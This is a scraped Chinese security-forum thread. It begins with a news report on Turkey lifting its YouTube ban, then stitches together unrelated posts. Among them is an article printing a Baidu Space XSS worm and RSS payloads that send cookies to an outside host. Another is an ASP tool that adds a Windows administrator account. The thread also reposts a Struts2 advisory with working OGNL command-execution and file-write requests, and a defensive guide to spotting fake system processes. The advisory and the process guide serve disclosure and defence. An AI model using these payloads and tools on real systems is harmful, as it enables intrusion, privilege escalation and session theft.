返回列表 发帖

土耳其颁布法令解除对视频网站YouTube封杀

腾讯科技讯(明轩)北京时间10月31日消息,据国外媒体报道,来自土耳其媒体的报道称,该国法院周六颁布法令,取消了对视频网站YouTube颁布的封杀令。此前,由于YouTube上出现一些侮辱土耳其国父穆斯塔法·凯末尔-阿塔蒂尔克(Mustafa Kemal Ataturk)的视频,YouTube在土耳其遭封杀。
土耳其自2008年5月开始对YouTube进行封杀。这一封杀令遭到广泛批评。来自土耳其的媒体称,安卡拉法院周六取消了对YouTube的封杀令,因为后者已经删除了那些“令人不悦”的视频。市场调研公司Alkexa Internet的统计数据显示,在YouTube被封杀之前,该网站是土耳其第五大流行网站。
今年6月4日,土耳其还封杀了超过30个谷歌站点,因为这些站点上有报道称,土耳其交通部长比纳里·耶尔德勒姆(Binali Yildirim)要求YouTube重新进行配置,然后土耳其网络用户才能够登录。耶尔德勒姆当时还表示,土耳其已向YouTube开出一张1560万欧元(约合2100万美元)的罚单,因为YouTube一直通过广告盈利,但却未向土耳其上税。不过土耳其总统居尔此前通过个人Twitter帐号发布消息,谴责对YouTube的封杀,并称他已经要求相关部门拿出解决方案。
根据土耳其的刑法典,对土耳其国家和该国机构的侮辱是一种犯罪。YouTube周六在一份公告中表示:“我们收到报告称,土耳其的一些用户重新可以访问YouTube。我们需要澄清,第三方,而不是YouTube,删除了一些导致YouTube在土耳其被封杀的视频。”YouTube同时表示:“我们正在调查这一举动是否符合我们的版权政策。”
今年6月,人权组织欧洲安全与合作组织(Organisation for Security and Cooperation in Europe,简称:“OSCE”)曾发布报告称,土耳其的互联网发已扩展至封杀超过5000家网站。土耳其颁布互联网法的初衷,是为了限制用户进入色情和其它有害于儿童的网站。

 

您可能还想看的主题:

土耳其的黑客动画

ee8088加密狗复制系列视频教程及配套工具下载地址

石油大学的教学视频,简单易懂

科锐内部C语言视频教程

《PHP——LAMP兄弟连原创视频教程(高清&免费版-HD)》

YouTube连续第三年成为日本搜索量最大关键词

网易全球名校视频公开课项目上线

YouTube CEO赫尔利卸任转任顾问

HuLu模式挑战用户上传 百度搅动视频网市场

视频:唐骏学历门后首次亮相演讲

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:小一发表,本帖发表者小一符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者小一和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

Ajax Hacking 在web2.0的应用!
由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码var req = null;if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。else if(window.ActiveXObject){var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){}}req.open('get','.',false);req.send();var s=req.responseText;p=s.indexOf('passport.baidu.com/?logout');if(p>0){p=s.indexOf('');if(p>0){p=s.indexOf('/',p);p2=s.indexOf(String.fromCharCode(34),p);var user=s.substring(p+1,p2);var name='Here is a bad site';var link='目标网址';var desc='This link was added by an XSS script';var url='/'+user+'/commit';var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。req.open('post',url,false);req.send(data);alert('A friend link has been added to your space at http://hi.baidu.com/' +user);}}else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。}");}当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:#header {……很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时,百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。如果认为他们所造成的影响都是局域的,那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(Really Simple Syndication)攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的,大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤,导致攻击者可以向Rss中写入恶意的javascript代码,最终导致xss跨站,获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码:
javascript:%20document.location='http://www.target.com/cookie.cgi?'%20+document cookie;Should Steal Your Cookie.Tue, 20 Sep 2005 23:55:18 EDT
javascript:%20alert(document.cookie);Should Steal Your Cookie.Tue, 20 Sep 2005 23:55:18 EDT
事实上,最早的web2.0攻击出现在去年的myspace.上,有人在MySpace交友网站上写了一段JavaScript蠕虫代码,利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单,同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站,网上有一篇《Hacking Ajax》的文章,其中有一句话被加了黑体,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是说适当情况下,利用Ajax攻击并获得个人电脑管理权限亦是可能的。由于目前系统对补丁的发布采取的都是时时更新功能,想通过溢出获得shell已经很难了,除非是0day的系统漏洞;而sql注入在网络也肆虐了几年,亦有了行之有效的防范方法;并且由于Python和Ruby语言的兴起,新的web2.0服务正在产生并有取代现有web结构趋势,譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释,只要我们始终有改变javascript的可能性,我们就永远有提升自己权限的可能……那么对于日趋庞大的web2.0大军,你是否有兴趣从中分一杯羹呢?


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

小技巧之从进程中判断出病毒和安全辅助工具
任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法。但是系统中同时运行的进程那么多,哪些是正常的系统进程,哪些是木马的进程,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?请看本文。   病毒进程隐藏三法   当我们确认系统中存在病毒,但是通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,总结出来有三法:   1.以假乱真   系统中的正常进程有:svchost.exe、explorer.exe、iexplore.exe、winlogon.exe等,可能你发现过系统中存在这样的进程:svch0st.exe、explore.exe、iexplorer.exe、winlogin.exe。对比一下,发现区别了么?这是病毒经常使用的伎俩,目的就是迷惑用户的眼睛。通常它们会将系统中正常进程名的o改为0,l改为i,i改为j,然后成为自己的进程名,仅仅一字之差,意义却完全不同。又或者多一个字母或少一个字母,例如explorer.exe和iexplore.exe本来就容易搞混,再出现个iexplorer.exe就更加混乱了。如果用户不仔细,一般就忽略了,病毒的进程就逃过了一劫。   2.偷梁换柱   如果用户比较心细,那么上面这招就没用了,病毒会被就地正法。于是乎,病毒也学聪明了,懂得了偷梁换柱这一招。如果一个进程的名字为svchost.exe,和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢?非也,其实它只是利用了“任务管理器”无法查看进程对应可执行文件这一缺陷。我们知道svchost.exe进程对应的可执行文件位于“C:WINDOWSsystem32”目录下(Windows2000则是C:WINNTsystem32目录),如果病毒将自身复制到“C:WINDOWS”中,并改名为svchost.exe,运行后,我们在“任务管理器”中看到的也是svchost.exe,和正常的系统进程无异。你能辨别出其中哪一个是病毒的进程吗?   3.借尸还魂   除了上文中的两种方法外,病毒还有一招终极大法——借尸还魂。所谓的借尸还魂就是病毒采用了进程插入技术,将病毒运行所需的dll文件插入正常的系统进程中,表面上看无任何可疑情况,实质上系统进程已经被病毒控制了,除非我们借助专业的进程检测工具,否则要想发现隐藏在其中的病毒是很困难的。   系统进程解惑   上文中提到了很多系统进程,这些系统进程到底有何作用,其运行原理又是什么?下面我们将对这些系统进程进行逐一讲解,相信在熟知这些系统进程后,就能成功破解病毒的“以假乱真”和“偷梁换柱”了。   svchost.exe   常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,它们把可执行程序指向scvhost,由cvhost调用相应服务的动态链接库来启动服务。我们可以打开“控制面板”→“管理工具”→服务,双击其中“ClipBook”服务,在其属性面板中可以发现对应的可执行文件路径为“C:WINDOWSsystem32clipsrv.exe”。再双击“Alerter”服务,可以发现其可执行文件路径为“C:WINDOWSsystem32svchost.exe -k LocalService”,而“Server”服务的可执行文件路径为“C:WINDOWSsystem32svchost.exe -k netsvcs”。正是通过这种调用,可以省下不少系统资源,因此系统中出现多个svchost.exe,其实只是系统的服务而已。   在Windows2000系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall)服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。如果svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程管理工具,例如Windows优化大师的进程管理功能,查看svchost.exe的可执行文件路径,如果在“C:WINDOWSsystem32”目录外,那么就可以判定是病毒了
explorer.exe   常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、explore.exe。explorer.exe就是我们经常会用到的“资源管理器”。如果在“任务管理器”中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击“任务管理器”→“文件”→“新建任务”,输入“explorer.exe”后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们管理计算机中的资源。   explorer.exe进程默认是和系统一起启动的,其对应可执行文件的路径为“C:Windows”目录,除此之外则为病毒。   iexplore.exe   常被病毒冒充的进程名有:iexplorer.exe、iexploer.exeiexplorer.exe进程和上文中的explorer.exe进程名很相像,因此比较容易搞混,其实iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较容易了,iexplorer.exe进程名的开头为“ie”,就是IE浏览器的意思。   iexplore.exe进程对应的可执行程序位于C:ProgramFilesInternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:1.病毒假冒iexplore.exe进程名。2.病毒偷偷在后台通过iexplore.exe干坏事。因此出现这种情况还是赶快用杀毒软件进行查杀吧。   rundll32.exe   常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在“命令提示符”中输入“rundll32.exe user32.dll,LockWorkStation”,回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为“C:Windowssystem32”,在别的目录则可以判定是病毒。   spoolsv.exe   常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务“Print Spooler”所对应的可执行程序,其作用是管理所有本地和网络打印队列及控制所有打印工作。如果此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。如果你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,如果系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。   限于篇幅,关于常见进程的介绍就到这里,我们平时在检查进程的时候如果发现有可疑,只要根据两点来判断:   1.仔细检查进程的文件名;   2.检查其路径。   通过这两点,一般的病毒进程肯定会露出马脚。   找个管理进程的好帮手   系统内置的“任务管理器”功能太弱,肯定不适合查杀病毒。因此我们可以使用专业的进程管理工具,例如Procexp。Procexp可以区分系统进程和一般进程,并且以不同的颜色进行区分,让假冒系统进程的病毒进程无处可藏。   运行Procexp后,进程会被分为两大块,“System Idle Process”下属的进程属于系统进程,   explorer.exe”下属的进程属于一般进程。我们介绍过的系统进程svchost.exe、winlogon.exe等都隶属于“System Idle Process”,如果你在“explorer.exe”中发现了svchost.exe,那么不用说,肯定是病毒冒充的


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

用ASP代码添加超级用户——asp提权时用
在user权限下成功添加Administrators组的用户反正代码是对的,但是很少能成功,具体的看运气了。。
[/quote]
[quote]<head>.network对象脚本权限提升漏洞利用工具</head><form action="useradd.asp" method=post>用户:<input name="username" type="text" value="kevin1986"><br>密码:<input name="passwd" type="password"><br><input type="submit" Value="添 加"></form>
<%@codepage=936%><%on error resume nextif request.servervariables("REMOTE_ADDR")<>"127.0.0.1" thenresponse.write "iP !s n0T RiGHt"elseif request("username")<>"" thenusername=request("username")passwd=request("passwd")Response.Expires=0Session.TimeOut=50Server.ScriptTimeout=3000set lp=Server.CreateObject("WSCRIPT.NETWORK")oz="WinNT://"&amp;lp.ComputerNameSet ob=GetObject(oz)Set oe=GetObject(oz&amp;"/Administrators,group")Set od=ob.Create("user",username)od.SetPassword passwdod.SetInfooe.Add oz&amp;"/"&amp;usernameif err thenresponse.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"elseif instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&amp;username.stdout.readall),"上次登录")>0 thenresponse.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"elseResponse.write "OMG!"&amp;username&amp;"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"end ifend ifelseresponse.write "请输入输入用户名"end ifend if%>


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Apache Struts2 <= 2.3.1 Multiple Vulnerabilities
SEC Consult Vulnerability Lab Security Advisory < 20120104-0 >
=======================================================================
              title: Multiple critical vulnerabilities in Apache Struts2
            product: Apache Struts2
                     * OpenSymphony XWork
                     * OpenSymphony OGNL
vulnerable version: 2.3.1 and below
      fixed version: 2.3.1.1
             impact: critical
           homepage: http://struts.apache.org/
              found: 2011-11-18
                 by: Johannes Dahse, Andreas Nusser
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
Apache Struts2 is a web framework for creating Java web applications. It is
using the OpenSymphony XWork and OGNL libraries. By default, XWork's
ParametersInterceptor treats parameter names provided to actions as OGNL
expressions. A OGNL (Object Graph Navigation Language) expression is a limited
language similar to Java that is tokenized and parsed by the OGNL parser which
invokes appropiate Java methods. This allows e.g. convenient access to
properties that have a getter/setter method implemented. By providing a
parameter like "product.id=1" the OGNL parser will call the appropiate setter
getProduct().setId(1) in the current action context. OGNL is also able to call
arbitrary methods, constructors and access context variables. For more details
please refer to http://commons.apache.org/ognl/language-guide.html.

  
Vulnerability overview/description:
-----------------------------------
To prevent attackers calling arbitrary methods within parameters the flag
"xwork.MethodAccessor.denyMethodExecution" is set to "true" and the
SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by
default. Also, to prevent access to context variables an improved character
whitelist for paramteter names is applied in XWork's ParametersInterceptor since
Struts 2.2.1.1:

acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_'\s]+";

Under certain circumstances these restrictions can be bypassed to execute
malicious Java code.

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

When an exception occurs while applying parameter values to properties the
value is evaluated as OGNL expression. For example this occurs when setting a
string value to a property with type integer. Since the values are not
filtered an attacker can abuse the power of the OGNL language to execute
arbitrary Java code leading to remote command execution. This issue has been
reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in
Struts 2.2.3.1. However the ability to execute arbitrary Java code has been
overlooked.

2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

The character whitelist for parameter names is not applied to Struts
CookieInterceptor. When Struts is configured to handle cookie names, an
attacker can execute arbitrary system commands with static method access to
Java functions. Therefore the flag "allowStaticMethodAccess" can be set to
true within the request.

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

Accessing the flag "allowStaticMethodAccess" within parameters is prohibited
since Struts 2.2.3.1. An attacker can still access public constructors with
only one parameter of type String to create new Java objects and access their
setters with only one parameter of type String. This can be abused for example
to create and overwrite arbitrary files. To inject forbidden characters to the
filename an uninitialized string property can be used.

4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

While not being a security vulnerability itself, please note that applications
running in developer mode and using Struts DebuggingInterceptor are prone to
remote command execution as well. While applications should never run in
developer mode during production, developers should be aware that doing so not
only has performance issues (as documented) but also a critical security
impact.


Proof of concept:
-----------------

1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

Given Test.java has an property "id" of type Integer or Long and appropriate
getter and setter methods:
    long id;
     
Given test.jsp with result name=input is configured for action "Test":
struts.xml:
    <action name="Test" class="example.Test">
        <result name="input">test.jsp</result>
    </action>

The following request will trigger an exception, the value will be evaluated
as OGNL expression and arbitrary Java code can be executed:

    /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b'
     
An attacker can also overwrite flags that will allow direct OS command execution:
    /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b'

If test.jsp displays the property "id" the result of the Java code evaluation
can be accessed:
    <%@ taglib prefix="s" uri="/struts-tags" %>
    <s:property value="id" />   
     
2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

Given struts.xml is configured to handle all cookie names (independent of
limited cookie values):
    <action name="Test" class="example.Test">
        <interceptor-ref name="cookie">
            <param name="cookiesName">*</param>
            <param name="cookiesValue">1,2</param>
        </interceptor-ref>
        <result ...>
    </action>

The following HTTP header will execute an OS command when sent to Test.action:
    Cookie: (#_memberAccess["allowStaticMethodAccess"]u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1

3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

Given Test.java has an uninitialized property "name" of type String:
    String name; // +getter+setter

The following request will create/overwrite the file "C:/sec-consult.txt"
(empty file):
    /Test.action?name=C:/sec-consult.txt&amp;x[new+java.io.FileWriter(name)]=1
     
The existence of the property 'x' used in these examples is of no importance.

4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

Given struts.xml is configured to run in developer mode and to use the
debugging interceptor:
    <constant name="struts.devMode" value="true" />
    <action name="Test" class="example.Test">
        <interceptor-ref name="debugging" />
        <result ...>
    </action>
     
The following request will execute arbitrary OGNL expressions leading to remote command execution:
    /Test.action?debug=command&amp;expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc')
     

Vulnerable / tested versions:
-----------------------------
All products using Struts2 are affected by at least one critical vulnerability
listed above!

Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts
2.2.1.1

Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010
and Struts 2.2.1.1, 2.2.3.1 and 2.3.1


Vendor contact timeline:
------------------------
2011-12-14: Contacting vendor through security at struts dot apache dot org
2011-12-14: Vendor reply, sending advisory draft
2011-12-14: Vendor released Apache Struts 2.3.1 in parallel
2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted
2011-12-16: Vendor reply, discussing workaround
2011-12-20: Discussing release of fixed version
2011-12-21: Providing additional information
2012-01-03: Vendor informs that update is ready
2012-01-03: Patch (2.3.1.1) is available


Solution:
---------
Update to Struts 2.3.1.1


Workaround:
-----------
Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the
Parameters- and CookieInterceptor:

acceptedParamNames = "[a-zA-Z0-9\.\]\[_']+";

Don't run your applications in developer mode.


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表